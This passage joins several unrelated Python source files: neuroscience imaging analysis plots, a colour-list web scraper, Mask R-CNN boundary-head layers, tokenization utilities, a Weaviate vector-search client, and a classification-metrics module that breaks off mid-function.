                            ir+Episodes.dFoF[cond, r, :].mean(axis=0)/scale_ROIS[ir],
                            sy=Episodes.dFoF[cond, r, :].std(axis=0)/scale_ROIS[ir],
                            ax=AX[1][3], color=color, no_set=True)

                    AX[1][3].plot([Episodes.t[-1], Episodes.t[-1]], [.25+ir, .25+ir+1./scale], 'k-', lw=1.5)

        ge.annotate(axT, '1$\Delta$F/F', (Episodes.t[-1], 0), xycoords='data',
                    rotation=90)
        ge.set_plot(axT, [], xlim=[Episodes.t[0], Episodes.t[-1]])
        ge.draw_bar_scales(axT, Xbar=1, Xbar_label='1s', Ybar=1e-12)

    ge.set_plot(AX[1][3], [], xlim=[Episodes.t[0], Episodes.t[-1]])
    ge.draw_bar_scales(AX[1][3], Xbar=1, Xbar_label='1s', Ybar=1e-12)

    AX[0][3].axis('off')
    # comparison
    ge.annotate(AX[1][3], '1$\Delta$F/F', (Episodes.t[-1], 0), xycoords='data', rotation=90)

    if hasattr(Episodes.visual_stim, 'vse') and (Episodes.visual_stim.vse is not None):
        vse_shifts = Episodes.visual_stim.vse['t'][Episodes.visual_stim.vse['t']<Episodes.visual_stim.protocol['presentation-duration']]

        for ax,ax1 in zip(AX[0][:3], AX[1][:3]):
            ge.set_plot(ax, [], xlim=[Episodes.t[0], Episodes.t[-1]])
            ge.annotate(ax, 'ROIs', (0,0.5), rotation=90, ha='right', va='center')
            ge.annotate(ax, '1', (0,0), ha='right', size='x-small', va='center')
            ge.annotate(ax, '%i' % Episodes.dFoF.shape[1], (0,1), ha='right', size='x-small', va='center')
            for t in [0]+list(vse_shifts)+[Episodes.visual_stim.protocol['presentation-duration']]:
                ax.plot(t*np.ones(2), ax.get_ylim(), 'r--', lw=0.3)
                ax1.plot(t*np.ones(2), ax1.get_ylim(), 'r--', lw=0.3)

    return fig, AX

# def compute_DS_population_resp(filename, options,
                               # protocol_id=0,
                               # Nmax = 100000,
                               # stat_test_props=dict(interval_pre=[-2,0],
                                                    # interval_post=[1,3],
                                                    # test='ttest', positive=True),
                               # significance_threshold=0.01):

    # # load datafile
    # data = Data(filename)
    # Episodes = process_NWB.EpisodeResponse(data,
                               # quantities=['dFoF', 'Pupil', 'Facemotion', 'Running-Speed'])

    # full_resp = {'roi':[], 'angle_from_pref':[],
                 # 'Nroi_tot':data.iscell.sum(),
                 # 'post_level':[], 'evoked_level':[]}

    # # get levels of pupil and running-speed in the episodes (i.e. after realignement)
    # if 'Pupil' in data.nwbfile.processing:
        # Pupil_episodes = EpisodeResponse(data, protocol_id=protocol_id, quantity='Pupil', **options)
        # full_resp['pupil_level'] = []
    # else:
        # Pupil_episodes = None
    # if 'Running-Speed' in data.nwbfile.acquisition:
        # Running_episodes = EpisodeResponse(data, protocol_id=protocol_id, quantity='Running-Speed', **options)
        # full_resp['speed_level'] = []
    # else:
        # Running_episodes = None

    # if Running_episodes is not None:
        # for key in Running_episodes.varied_parameters.keys():
            # full_resp[key] = []
    # elif Pupil_episodes is not None:
        # for key in Pupil_episodes.varied_parameters.keys():
            # full_resp[key] = []
    # else:
        # print(100*'-'+'\n /!\ Need at least one of the Pupil or Running modalities /!\ \n  '+100*'-')

    # for roi in np.arange(data.iscell.sum())[:Nmax]:
        # ROI_EPISODES = EpisodeResponse(data,
                                       # protocol_id=protocol_id,
                                       # quantity='CaImaging',
                                       # baseline_substraction=True,
                                       # roiIndex = roi, **options)
        # # check if significant response in at least one direction and compute mean evoked resp
        # resp = {'significant':[], 'pre':[], 'post':[]}
        # for ia, angle in enumerate(ROI_EPISODES.varied_parameters['angle']):

            # stats = ROI_EPISODES.stat_test_for_evoked_responses(episode_cond=ROI_EPISODES.find_episode_cond('angle', ia),
                                                                # **stat_test_props)
            # resp['significant'].append(stats.significant(threshold=significance_threshold))
            # resp['pre'].append(np.mean(stats.x))
            # resp['post'].append(np.mean(stats.y))

        # if np.sum(resp['significant'])>0:
            # # if significant in at least one
            # imax = np.argmax(np.array(resp['post'])-np.array(resp['pre']))
            # amax = ROI_EPISODES.varied_parameters['angle'][imax]
            # # we compute the post response relative to the preferred orientation for all episodes
            # post_interval_cond = ROI_EPISODES.compute_interval_cond(stat_test_props['interval_post'])
            # pre_interval_cond = ROI_EPISODES.compute_interval_cond(stat_test_props['interval_pre'])
            # for iep, r in enumerate(ROI_EPISODES.resp):
                # full_resp['angle_from_pref'].append(shift_orientation_according_to_pref(ROI_EPISODES.angle[iep], amax))
                # full_resp['post_level'].append(ROI_EPISODES.resp[iep, post_interval_cond].mean())
                # full_resp['evoked_level'].append(full_resp['post_level'][-1]-ROI_EPISODES.resp[iep, pre_interval_cond].mean())
                # full_resp['roi'].append(roi)
                # # adding running and speed level in the "post" interval:
                # if Pupil_episodes is not None:
                    # full_resp['pupil_level'].append(Pupil_episodes.resp[iep, post_interval_cond].mean())
                # if Running_episodes is not None:
                    # full_resp['speed_level'].append(Running_episodes.resp[iep, post_interval_cond].mean())

    # # transform to numpy array for convenience
    # for key in full_resp:
        # full_resp[key] = np.array(full_resp[key])

    # #########################################################
    # ############ per cell analysis ##########################
    # #########################################################

    # angles = np.unique(full_resp['angle_from_pref'])

    # full_resp['per_cell'], full_resp['per_cell_post'] = [], []

    # for roi in np.unique(full_resp['roi']):

        # roi_cond = (full_resp['roi']==roi)

        # full_resp['per_cell'].append([])
        # full_resp['per_cell_post'].append([])

        # for ia, angle in enumerate(angles):
            # cond = (full_resp['angle_from_pref']==angle) & roi_cond
            # full_resp['per_cell'][-1].append(full_resp['evoked_level'][cond].mean())
            # full_resp['per_cell_post'][-1].append(full_resp['post_level'][cond].mean())

    # full_resp['per_cell'] = np.array(full_resp['per_cell'])
    # full_resp['per_cell_post'] = np.array(full_resp['per_cell_post'])

    # return full_resp

# def population_tuning_fig(full_resp):

    # Ncells = len(np.unique(full_resp['roi']))
    # Neps = len(full_resp['roi'])/Ncells
    # angles = np.unique(full_resp['angle_from_pref'])

    # fig, AX = ge.figure(axes=(3,1), figsize=(1.5,1.5))

    # for ax in AX:
        # ge.annotate(ax, 'n=%i resp. cells (%.0f%% of rois)' % (Ncells,
                                                    # 100.*Ncells/full_resp['Nroi_tot']), (1,1), va='top', ha='right')

    # ge.plot(angles, np.mean(full_resp['per_cell_post'], axis=0),
            # sy = np.std(full_resp['per_cell_post'], axis=0),
            # color='grey', ms=2, m='o', ax=AX[0], no_set=True, lw=1)
    # ge.set_plot(AX[0], xlabel='angle ($^{o}$) w.r.t. pref. orient.', ylabel='post level (dF/F)',
               # xticks=[0,90,180,270])

    # ge.plot(angles, np.mean(full_resp['per_cell'], axis=0),
            # sy = np.std(full_resp['per_cell'], axis=0),
            # color='grey', ms=2, m='o', ax=AX[1], no_set=True, lw=1)
    # ge.set_plot(AX[1], xlabel='angle ($^{o}$) w.r.t. pref. orient.', ylabel='evoked resp. ($\delta$ dF/F)',
               # xticks=[0,90,180,270])

    # ge.plot(angles, np.mean(full_resp['per_cell'].T/np.max(full_resp['per_cell'], axis=1).T, axis=1),
            # sy = np.std(full_resp['per_cell'].T/np.max(full_resp['per_cell'], axis=1).T, axis=1),
            # color='grey', ms=2, m='o', ax=AX[2], no_set=True, lw=1)
    # ge.set_plot(AX[2], xlabel='angle ($^{o}$) w.r.t. pref. orient.',
                # ylabel='norm. resp ($\delta$ dF/F)', yticks=[0,0.5,1],
               # xticks=[0,90,180,270])

    # return fig

# def compute_behavior_mod_population_tuning(full_resp,
                                           # resp_key='evoked_level',
                                           # pupil_threshold=2.5,
                                           # running_speed_threshold = 0.1):

    # Ncells = len(np.unique(full_resp['roi']))
    # Neps = len(full_resp['roi'])/Ncells

    # if 'speed_level' in full_resp:
        # running_cond = (np.abs(full_resp['speed_level'])>=running_speed_threshold)
    # else:
        # # always a running cond set to False if no running monitoring
        # running_cond = np.zeros(len(full_resp['roi']), dtype=bool) # False by default

    # if 'pupil_level' in full_resp:
        # dilated_cond = ~running_cond & (full_resp['pupil_level']>=pupil_threshold)
        # constricted_cond = ~running_cond & (full_resp['pupil_level']<pupil_threshold)

    # # add to full_resp
    # full_resp['Ncells'], full_resp['Neps'] = Ncells, Neps
    # full_resp['running_cond'] = running_cond
    # if 'pupil_level' in full_resp:
        # full_resp['dilated_cond'] = dilated_cond
        # full_resp['constricted_cond'] = constricted_cond

    # angles = np.unique(full_resp['angle_from_pref'])
    # curves = {'running_mean': [], 'running_std':[],
              # 'still_mean': [], 'still_std':[],
              # 'dilated_mean': [], 'dilated_std':[],
              # 'constricted_mean': [], 'constricted_std':[],
              # 'angles':angles}

    # for ia, angle in enumerate(angles):
        # cond = full_resp['angle_from_pref']==angle
        # # running
        # curves['running_mean'].append(full_resp[resp_key][cond & running_cond].mean())
        # curves['running_std'].append(full_resp[resp_key][cond & running_cond].std())
        # # still
        # curves['still_mean'].append(full_resp[resp_key][cond & ~running_cond].mean())
        # curves['still_std'].append(full_resp[resp_key][cond & ~running_cond].std())
        # if 'pupil_level' in full_resp:
            # # dilated pupil
            # curves['dilated_mean'].append(full_resp[resp_key][cond & dilated_cond].mean())
            # curves['dilated_std'].append(full_resp[resp_key][cond & dilated_cond].std())
            # # constricted pupil
            # curves['constricted_mean'].append(full_resp[resp_key][cond & constricted_cond].mean())
            # curves['constricted_std'].append(full_resp[resp_key][cond & constricted_cond].std())

    # curves['all'] = np.mean(full_resp['per_cell'], axis=0)

    # return curves

# def tuning_modulation_fig(curves, full_resp=None):

    # # running vs still --- raw evoked response
    # fig, ax = ge.figure(figsize=(1.5,1.5), right=6)
    # ge.plot(curves['angles'], curves['all'], label='all', color='grey', ax=ax, no_set=True, lw=2, alpha=.5)
    # ge.plot(curves['angles'], curves['running_mean'],
            # color=ge.orange, ms=4, m='o', ax=ax, lw=2, label='running', no_set=True)
    # ge.plot(curves['angles'], curves['still_mean'],
            # color=ge.blue, ms=4, m='o', ax=ax, lw=2, label='still', no_set=True)
    # ge.legend(ax, ncol=3, loc=(.3,1.))
    # ge.set_plot(ax, xlabel='angle ($^{o}$) w.r.t. pref. orient.', ylabel='evoked resp, ($\delta$ dF/F)   ',
               # xticks=[0,90,180,270])

    # if (full_resp is not None) and ('speed_level' in full_resp) and ('pupil_level' in full_resp):
        # inset = ge.inset(fig, [.8,.5,.16,.28])
        # ge.scatter(full_resp['pupil_level'][full_resp['running_cond']],full_resp['speed_level'][full_resp['running_cond']],
                   # ax=inset, no_set=True, color=ge.orange)
        # ge.scatter(full_resp['pupil_level'][~full_resp['running_cond']],full_resp['speed_level'][~full_resp['running_cond']],
                   # ax=inset, no_set=True, color=ge.blue)
        # ge.annotate(ax, 'n=%i cells\n' % full_resp['Ncells'], (0.,1.), ha='center')
        # ge.set_plot(inset, xlabel='pupil size (mm)', ylabel='run. speed (cm/s)     ',
                   # title='episodes (n=%i)   ' % full_resp['Neps'])
        # ge.annotate(inset, 'n=%i' % (np.sum(full_resp['running_cond'])/full_resp['Ncells']), (0.,1.), va='top', color=ge.orange)
        # ge.annotate(inset, '\nn=%i' % (np.sum(~full_resp['running_cond'])/full_resp['Ncells']), (0.,1.), va='top', color=ge.blue)

    # if len(curves['constricted_mean'])>0:
        # # constricted vs dilated --- raw evoked response
        # fig2, ax = ge.figure(figsize=(1.5,1.5), right=6)
        # ge.plot(curves['angles'], curves['all'], label='all', color='grey', ax=ax, no_set=True, lw=2, alpha=.5)
        # ge.plot(curves['angles'], curves['constricted_mean'],
                # color=ge.green, ms=4, m='o', ax=ax, lw=2, label='constricted', no_set=True)
        # ge.plot(curves['angles'], curves['dilated_mean'],
                # color=ge.purple, ms=4, m='o', ax=ax, lw=2, label='dilated', no_set=True)
        # ge.legend(ax, ncol=3, loc=(.1,1.))
        # ge.set_plot(ax, xlabel='angle ($^{o}$) w.r.t. pref. orient.', ylabel='evoked resp, ($\delta$ dF/F)   ',
                   # xticks=[0,90,180,270])

        # if (full_resp is not None) and ('speed_level' in full_resp) and ('pupil_level' in full_resp):
            # inset2 = ge.inset(fig2, [.8,.5,.16,.28])
            # ge.scatter(full_resp['pupil_level'][full_resp['dilated_cond']],
                       # full_resp['speed_level'][full_resp['dilated_cond']],
                       # ax=inset2, no_set=True, color=ge.purple)
            # ge.scatter(full_resp['pupil_level'][full_resp['constricted_cond']],
                       # full_resp['speed_level'][full_resp['constricted_cond']],
                       # ax=inset2, no_set=True, color=ge.green)
            # ge.annotate(ax, 'n=%i cells\n' % len(np.unique(full_resp['roi'])), (0.,1.), ha='right')
            # ge.set_plot(inset2, xlabel='pupil size (mm)', ylabel='run. speed (cm/s)     ', ylim=inset.get_ylim(),
                       # title='episodes (n=%i)   ' % full_resp['Neps'])
            # ge.annotate(inset2, 'n=%i' % (np.sum(full_resp['constricted_cond'])/full_resp['Ncells']), (0.,1.), va='top', color=ge.green)
            # ge.annotate(inset2, '\nn=%i' % (np.sum(full_resp['dilated_cond'])/full_resp['Ncells']), (0.,1.), va='top', color=ge.purple)
    # else:
        # fig2 = None

    # return fig, fig2

# def analysis_pdf(datafile, iprotocol=0, Nmax=1000000):

    # data = Data(datafile)

    # pdf_filename = os.path.join(summary_pdf_folder(datafile), '%s-behavioral-modulation.pdf' % data.protocols[iprotocol])

    # full_resp = compute_population_resp(datafile, protocol_id=iprotocol, Nmax=Nmax)

    # with PdfPages(pdf_filename) as pdf:
        # # print('   - behavioral-modulation analysis for ROI #%i / %i' % (roi+1, data.iscell.sum()))
        # fig = population_tuning_fig(full_resp)
        # pdf.savefig(fig)  # saves the current figure into a pdf page
        # plt.close()
        # fig1, fig2 = behavior_mod_population_tuning_fig(full_resp,
                                                        # running_speed_threshold = 0.1,
                                                        # pupil_threshold=2.5)

        # pdf.savefig(fig1)  # saves the current figure into a pdf page
        # plt.close(fig1)
        # pdf.savefig(fig2)  # saves the current figure into a pdf page
        # plt.close(fig2)

    # print('[ok] behavioral-modulation analysis saved as: "%s" ' % pdf_filename)

if __name__=='__main__':

    import argparse

    parser=argparse.ArgumentParser()
    parser.add_argument("datafile", type=str)
    parser.add_argument("--iprotocol", type=int, default=0, help='index for the protocol in case of multiprotocol in datafile')
    parser.add_argument('-nmax', "--Nmax", type=int, default=1000000)
    parser.add_argument("-v", "--verbose", action="store_true")

    args = parser.parse_args()

    # if '.nwb' in args.datafile:
    #     analysis_pdf(args.datafile, iprotocol=args.iprotocol, Nmax=args.Nmax)
    # else:
    #     print('/!\ Need to provide a NWB datafile as argument ')

    # options = dict(subquantity='d(F-0.7*Fneu)',
                   # dt_sampling=1, prestim_duration=2,
                   # verbose=False)

    # full_resp = compute_DS_population_resp(args.datafile, options, Nmax=args.Nmax)
    # if len(full_resp['roi'])>0:
        # fig = population_tuning_fig(full_resp)
        # curves = compute_behavior_mod_population_tuning(full_resp,
                                                        # running_speed_threshold = 0.2,
                                                        # pupil_threshold=2.1)
        # fig1, fig2 = tuning_modulation_fig(curves, full_resp=full_resp)

    # load data
    Episodes_NI = EpisodeResponse(args.datafile,
                                  protocol_id=args.iprotocol,
                                  quantities=['dFoF', 'Pupil', 'Running-Speed'],
                                  dt_sampling=30, # ms, to avoid to consume to much memory
                                  verbose=True, prestim_duration=1.5)

    ROI_SUMMARIES = [Episodes_NI.compute_summary_data(dict(\
                                interval_pre=[-Episodes_NI.visual_stim.protocol['presentation-interstim-period'],0],
                                interval_post=[0,Episodes_NI.visual_stim.protocol['presentation-duration']],
                                test='wilcoxon', positive=True),
                         response_args={'quantity':'dFoF',
                                        'roiIndex':roi},
                         response_significance_threshold=0.01) for roi in range(Episodes_NI.dFoF.shape[1])]

    # plot
    plot_resp_dependency(Episodes_NI,
                         stim_keys=['center-time'],
                         stim_indices=[0],
                         running_threshold=0.5,
                         N_selected=20, selection_seed=20)
    ge.show()


import urllib.request
from urllib.request import Request, urlopen

from bs4 import BeautifulSoup as BS
import csv
import re

URL = "https://www.leefilters.com/lighting/colour-list.html"

page = 0
limit = 0

fullNames = []
codes = []
colorValues = []

req = Request(URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req) as response:
	html = response.read()
	soup = BS(html, features="html.parser")

	codeSoup = soup.findAll("a", {"class": "name"})

	for i in range (len(codeSoup) - 13 ):
		code = codeSoup[i]
		print(re.sub(";", "", re.sub("#", "", code["style"].split(":")[1])))
		colorValues.append(re.sub(";", "", re.sub("#", "", code["style"].split(":")[1])))
		fullNames.append(' '.join(code.contents[0].split(" ")[1:]))
		codes.append('L' + code.contents[0].split(" ")[0])

with open('lee.csv', mode='w') as lee_file:
	lee_writer = csv.writer(lee_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
	j = 0
	lee_writer.writerow(["COLOR CODE", "COLOR NAME", "HEX VALUE"])
	while j < len(fullNames):
		lee_writer.writerow([codes[j], fullNames[j], colorValues[j]])
		j += 1


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from core.config import cfg
from utils.c2 import const_fill
from utils.c2 import gauss_fill
import modeling.ResNet as ResNet
import utils.blob as blob_utils

# ---------------------------------------------------------------------------- #
# Mask R-CNN outputs and losses
# ---------------------------------------------------------------------------- #

def add_boundary_rcnn_outputs(model, blob_in, dim):
    """Add Mask R-CNN specific outputs: either boundary logits or probs."""
    num_cls = cfg.MODEL.NUM_CLASSES if cfg.BOUNDARY.CLS_SPECIFIC_MASK else 1

    if cfg.BOUNDARY.USE_FC_OUTPUT:
        # Predict boundarys with a fully connected layer (ignore 'fcn' in the blob
        # name)
        blob_out = model.FC(
            blob_in,
            'boundary_fcn_logits',
            dim,
            num_cls * cfg.BOUNDARY.RESOLUTION**2,
            weight_init=gauss_fill(0.001),
            bias_init=const_fill(0.0)
        )
    else:
        # Predict boundary using Conv

        # Use GaussianFill for class-agnostic boundary prediction; fills based on
        # fan-in can be too large in this case and cause divergence
        fill = (
            cfg.BOUNDARY.CONV_INIT
            if cfg.BOUNDARY.CLS_SPECIFIC_MASK else 'GaussianFill'
        )
        blob_out = model.Conv(
            blob_in,
            'boundary_fcn_logits',
            dim,
            num_cls,
            kernel=1,
            pad=0,
            stride=1,
            weight_init=(fill, {'std': 0.001}),
            bias_init=const_fill(0.0)
        )

        if cfg.BOUNDARY.UPSAMPLE_RATIO > 1:
            blob_out = model.BilinearInterpolation(
                'boundary_fcn_logits', 'boundary_fcn_logits_up', num_cls, num_cls,
                cfg.BOUNDARY.UPSAMPLE_RATIO
            )

    if not model.train:  # == if test
        blob_out = model.net.Sigmoid(blob_out, 'boundary_fcn_probs')

    return blob_out

def add_boundary_rcnn_losses(model, blob_boundary):
    """Add Mask R-CNN specific losses."""
    loss_boundary = model.net.SigmoidCrossEntropyLoss(
        [blob_boundary, 'boundary_int32'],
        'loss_boundary',
        scale=model.GetLossScale() * cfg.BOUNDARY.WEIGHT_LOSS_MASK
    )
    loss_gradients = blob_utils.get_loss_gradients(model, [loss_boundary])
    model.AddLosses('loss_boundary')
    return loss_gradients

# ---------------------------------------------------------------------------- #
# Mask heads
# ---------------------------------------------------------------------------- #

def boundary_fcn_head_v1up4convs(model, blob_in, dim_in, spatial_scale):
    """v1up design: 4 * (conv 3x3), convT 2x2."""
    return boundary_rcnn_fcn_head_v1upXconvs(
        model, blob_in, dim_in, spatial_scale, 4
    )

def boundary_rcnn_fcn_head_v1up(model, blob_in, dim_in, spatial_scale):
    """v1up design: 2 * (conv 3x3), convT 2x2."""
    return boundary_rcnn_fcn_head_v1upXconvs(
        model, blob_in, dim_in, spatial_scale, 2
    )

def boundary_rcnn_fcn_head_v1upXconvs(
    model, blob_in, dim_in, spatial_scale, num_convs
):
    """v1upXconvs design: X * (conv 3x3), convT 2x2."""
    current = model.RoIFeatureTransform(
        blob_in,
        blob_out='_[boundary]_roi_feat',
        blob_rois='boundary_rois',
        method=cfg.BOUNDARY.ROI_XFORM_METHOD,
        resolution=cfg.BOUNDARY.ROI_XFORM_RESOLUTION,
        sampling_ratio=cfg.BOUNDARY.ROI_XFORM_SAMPLING_RATIO,
        spatial_scale=spatial_scale
    )

    dilation = cfg.BOUNDARY.DILATION
    dim_inner = cfg.BOUNDARY.DIM_REDUCED

    for i in range(num_convs):
        current = model.Conv(
            current,
            '_[boundary]_fcn' + str(i + 1),
            dim_in,
            dim_inner,
            kernel=3,
            pad=1 * dilation,
            stride=1,
            weight_init=(cfg.BOUNDARY.CONV_INIT, {'std': 0.001}),
            bias_init=('ConstantFill', {'value': 0.})
        )
        current = model.Relu(current, current)
        dim_in = dim_inner

    # upsample layer
    model.ConvTranspose(
        current,
        'conv5_boundary',
        dim_inner,
        dim_inner,
        kernel=2,
        pad=0,
        stride=2,
        weight_init=(cfg.BOUNDARY.CONV_INIT, {'std': 0.001}),
        bias_init=const_fill(0.0)
    )
    blob_boundary = model.Relu('conv5_boundary', 'conv5_boundary')

    return blob_boundary, dim_inner

def boundary_rcnn_fcn_head_v0upshare(model, blob_in, dim_in, spatial_scale):
    """Use a ResNet "conv5" / "stage5" head for boundary prediction. Weights and
    computation are shared with the conv5 box head. Computation can only be
    shared during training, since inference is cascaded.

    v0upshare design: conv5, convT 2x2.
    """
    # Since box and boundary head are shared, these must match
    assert cfg.BOUNDARY.ROI_XFORM_RESOLUTION == cfg.FAST_RCNN.ROI_XFORM_RESOLUTION

    if model.train:  # share computation with bbox head at training time
        dim_conv5 = 2048
        blob_conv5 = model.net.SampleAs(
            ['res5_2_sum', 'roi_has_boundary_int32'],
            ['_[boundary]_res5_2_sum_sliced']
        )
    else:  # re-compute at test time
        blob_conv5, dim_conv5 = add_ResNet_roi_conv5_head_for_boundarys(
            model,
            blob_in,
            dim_in,
            spatial_scale
        )

    dim_reduced = cfg.BOUNDARY.DIM_REDUCED

    blob_boundary = model.ConvTranspose(
        blob_conv5,
        'conv5_boundary',
        dim_conv5,
        dim_reduced,
        kernel=2,
        pad=0,
        stride=2,
        weight_init=(cfg.BOUNDARY.CONV_INIT, {'std': 0.001}),  # std only for gauss
        bias_init=const_fill(0.0)
    )
    model.Relu('conv5_boundary', 'conv5_boundary')

    return blob_boundary, dim_reduced

def boundary_rcnn_fcn_head_v0up(model, blob_in, dim_in, spatial_scale):
    """v0up design: conv5, deconv 2x2 (no weight sharing with the box head)."""
    blob_conv5, dim_conv5 = add_ResNet_roi_conv5_head_for_boundarys(
        model,
        blob_in,
        dim_in,
        spatial_scale
    )

    dim_reduced = cfg.BOUNDARY.DIM_REDUCED

    model.ConvTranspose(
        blob_conv5,
        'conv5_boundary',
        dim_conv5,
        dim_reduced,
        kernel=2,
        pad=0,
        stride=2,
        weight_init=('GaussianFill', {'std': 0.001}),
        bias_init=const_fill(0.0)
    )
    blob_boundary = model.Relu('conv5_boundary', 'conv5_boundary')

    return blob_boundary, dim_reduced

def add_ResNet_roi_conv5_head_for_boundarys(model, blob_in, dim_in, spatial_scale):
    """Add a ResNet "conv5" / "stage5" head for predicting boundarys."""
    model.RoIFeatureTransform(
        blob_in,
        blob_out='_[boundary]_pool5',
        blob_rois='boundary_rois',
        method=cfg.BOUNDARY.ROI_XFORM_METHOD,
        resolution=cfg.BOUNDARY.ROI_XFORM_RESOLUTION,
        sampling_ratio=cfg.BOUNDARY.ROI_XFORM_SAMPLING_RATIO,
        spatial_scale=spatial_scale
    )

    dilation = cfg.BOUNDARY.DILATION
    stride_init = int(cfg.BOUNDARY.ROI_XFORM_RESOLUTION / 7)  # by default: 2

    s, dim_in = ResNet.add_stage(
        model,
        '_[boundary]_res5',
        '_[boundary]_pool5',
        3,
        dim_in,
        2048,
        512,
        dilation,
        stride_init=stride_init
    )

    return s, 2048


'''
Author: Sungjun Han, Anastasiia
Description: calcalates accuracy
'''

import numpy as np
import re
from collections import defaultdict
import json
import sys

def tokenize(sent,
			delimiters = r'\s+'):
	'''
	Description : tokenizes the given string using the delimiter
	sent : str
	delimiters : str
	'''

	tokenized = re.split(delimiters, sent)
	return tokenized

def frequency_count(dataset, lower, delimiters = r'\s+'):
	'''
	Author : Sungjun Han
	Description: counts frequencies of the tokens from the given dataset
	dataset : list of list
	lower : bool
	delimiters : str
	'''
	freq_count = defaultdict(int)
	for i in range(len(dataset)):
		_, obs1, obs2, hyp1, hyp2, label = dataset[i]
		textdata = [obs1, obs2, hyp1, hyp2]
		for textelem in textdata:
			if lower:
				textelem = textelem.lower()
			for token in tokenize(textelem, delimiters):
				freq_count[token] += 1
	return freq_count

def token_to_idx(freq_count,
			pad_symbol = None,
			start_symbol = None,
			end_symbol = None,
			unk_symbol = None,
			split_symbol = None):
	'''
	Descriptions: build vocabulary (token to idx dictionary mapping) from the frequency counts
	freq_count : dictionary
	pad_symbol : bool
	start_symbol : bool
	end_symbol : bool
	unk_symbol : bool
	split_symbol : bool
	'''

	# 0 for pad
	tok2idx = {}
	if pad_symbol:
		tok2idx[pad_symbol] = len(tok2idx)

	if unk_symbol:
		tok2idx[unk_symbol] = len(tok2idx)

	if start_symbol:
		tok2idx[start_symbol] = len(tok2idx)

	if end_symbol:
		tok2idx[end_symbol] = len(tok2idx)

	if split_symbol:
		tok2idx[split_symbol] = len(tok2idx)

	for k, v in freq_count.items():
		if not k in tok2idx.keys(): #if we don't check this, we end up with 'END' and 'SPLT' tokens having quite random indeces
			tok2idx[k] = len(tok2idx)

	return tok2idx

def idx_to_token(tok2idx):
	'''
	Descriptions: build idx to token dictionary mapping from token 2 idx dictionary mapping
	tok2idx : dictionary
	'''
	idx2tok = {v:k for k,v in tok2idx.items()}
	return idx2tok

def encode(tokenized_sentence, tok2idx, unk_token):
	'''
	Descriptions: encode a tokenized sentence into a list of integers using the token2idx vocabulary
	tokenized_sentence : list of str
	tok2idx : dictionary
	unk_token : str
	'''
	encoded = []
	unk_idx = tok2idx[unk_token]
	for token in tokenized_sentence:
		encoded.append(tok2idx.get(token, unk_idx))
	return encoded

def decode(encoded, idx2tok, unk_token):
	'''
	Descriptions: decode a list of integers into a sentence using the idx2tok vocabulary
	encoded : list of int
	idx2tok : dictionary
	unk_token : str
	'''
	#unk token needs to be provided
	decoded = []
	for idx in encoded:
		decoded.append(idx2tok.get(idx,unk_token))
	return decoded

if __name__ == '__main__':

	p1 = 'Chad went to get the wheel alignment measured on his car'
	p2 = 'The mechanic provided a working alignment with new body work'
	h1 = 'Chad was waiting for his car to be washed'
	h2 = 'Chad was waiting for his car to be finished'

	label = 1

	dataset = [('id', p1, p2, h1, h2, label)]
	freq_count = frequency_count(dataset, delimiters = r'\s+', start_symbol = True, end_symbol = True)
	print(freq_count)
	tok2idx = token_to_idx(freq_count, start_symbol = True, end_symbol = True)
	print(tok2idx)


import requests
import json
import os
from dotenv import load_dotenv

dotenv_path = os.path.join(os.path.dirname(__file__), '../../.env')

load_dotenv(dotenv_path)

base_url = os.getenv('2023oct25_WEAVIATE_URL')
weaviate_class_name = os.getenv('2023oct25_WEAVIATE_CLASS_NAME')
weaviate_object_value = os.getenv('2023oct25_WEAVIATE_CLASS_OBJ_VALUE')
url = f"{base_url}/v1/graphql"  # append additional part to the base URL

headers = {
    'Content-Type': 'application/json',
    'Authorization': f'Bearer {os.getenv("2023oct21_WEAVIATE_API_KEY")}',
    'X-Azure-Api-Key': f'{os.getenv("2023oct21_AZURE_OPENAI_API_KEY")}',
}

# Define global constants
CLASS_NAME = weaviate_class_name
SEARCH_TERM = 'hi'
SIMILARITY_THRESHOLD = 0.7
OBJECT_VALUE = weaviate_object_value
LIMIT = 12

# move away forces are optional, but can be used to improve the search results. Setting  to zero nullifies it.
UNWANTED_TERM = "zzzzz"
MOVE_AWAY_FORCE = 0.0

SPECIFIC_ROUTER_VALUE = "deployment"

def search_vector_similarity():
    payload = {
        "query": f'''
        {{
            Get {{
                {CLASS_NAME}(nearText: {{
                    concepts: ["{SEARCH_TERM}"],
                    certainty: {SIMILARITY_THRESHOLD},
                    moveAwayFrom: {{concepts: ["{UNWANTED_TERM}"], force: {MOVE_AWAY_FORCE}}}
                }}, limit: {LIMIT}) {{
                    {OBJECT_VALUE}
                    _additional {{
                        id  # Fetch the unique identifier here.
                        certainty
                    }}
                }}
            }}
        }}
        '''
    }
    response = requests.post(url, headers=headers, json=payload)

    # Check if there's an error in the response.
    if 'errors' in response.json():
        print("Errors:")
        print(json.dumps(response.json()["errors"], indent=4))
    else:
        print("Similarity Search:")
        print(json.dumps(response.json(), indent=4))
    print()

if __name__ == "__main__":
    search_vector_similarity()


from typing import List
from collections import Counter
import io

import numpy as np
import matplotlib.pyplot as plt
import matplotlib.lines as mlines
import pandas as pd
import seaborn as sns
from torch.utils.data import TensorDataset

# optdigits, image, covtype

def make_class_map(datasets):
    def get_labels(dataset):
        return dataset.labels

    class_ct = Counter(
        [label for dataset in datasets for label in get_labels(dataset)])

    return {
        label: idx
        for idx, (label, _) in enumerate(
            sorted(list(class_ct.items()), key=lambda x: -x[1]))
    }

def get_stats(true_labels: List[str],
              predicted_labels: List[str],
              all_labels=None):
    '''Calculates class wise stats given true and predicted labels'''
    if all_labels is None:
        all_labels = set(true_labels + predicted_labels)
    true_ct = Counter(true_labels)
    pred_ct = Counter(predicted_labels)
    correct_ct = Counter(list(zip(true_labels, predicted_labels)))

    class_stats = {
        label: {
            'correct': correct_ct.get((label, label), 0),
            'predicted': pred_ct.get(label, 0),
            'true': true_ct.get(label, 0)
        }
        for label in all_labels
    }

    for label, label_stats in class_stats.items():
        assert label_stats['correct'] <= label_stats[
            'predicted'] and label_stats['correct'] <= label_stats[
                'true'], f'Label: {label}, Stats: {label_stats}'

    stat_fns = [
        ('precision', lambda stats: 0 if stats['predicted'] == 0 else stats[
            'correct'] / stats['predicted']),
        ('recall', lambda stats: 0
         if stats['true'] == 0 else stats['correct'] / stats['true']),
        ('f1',
         lambda stats: 0 if stats['correct'] == 0 else 2 * stats['precision'] *
         stats['recall'] / (stats['precision'] + stats['recall']))
    ]
    for label in all_labels:
